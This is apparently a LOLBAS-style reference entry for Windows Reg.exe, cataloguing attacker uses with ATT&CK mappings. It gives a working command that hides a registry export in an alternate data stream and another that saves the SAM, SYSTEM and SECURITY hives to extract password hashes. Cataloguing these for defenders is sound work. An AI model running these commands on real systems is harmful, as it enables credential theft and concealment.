.. /Reg.exe
Star

Alternate data streams
Credentials

Used to manipulate the registry

Paths:

Resources:

Acknowledgements:

Detections:

Alternate data streams

  1. Export the target Registry key and save it to the specified .REG file within an Alternate data stream.

    reg export HKLM\SOFTWARE\Microsoft\Evilreg {PATH_ABSOLUTE}:evilreg.reg
    Use case
    Hide/plant registry information in Alternate data stream for later use
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004

Credentials

  1. Dump registry hives (SAM, SYSTEM, SECURITY) to retrieve password hashes and key material

    reg save HKLM\SECURITY {PATH_ABSOLUTE:.1.bak} && reg save HKLM\SYSTEM {PATH_ABSOLUTE:.2.bak} && reg save HKLM\SAM {PATH_ABSOLUTE:.3.bak}
    Use case
    Dump credentials from the Security Account Manager (SAM)
    Privileges required
    Administrator
    Operating systems
    Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1003.002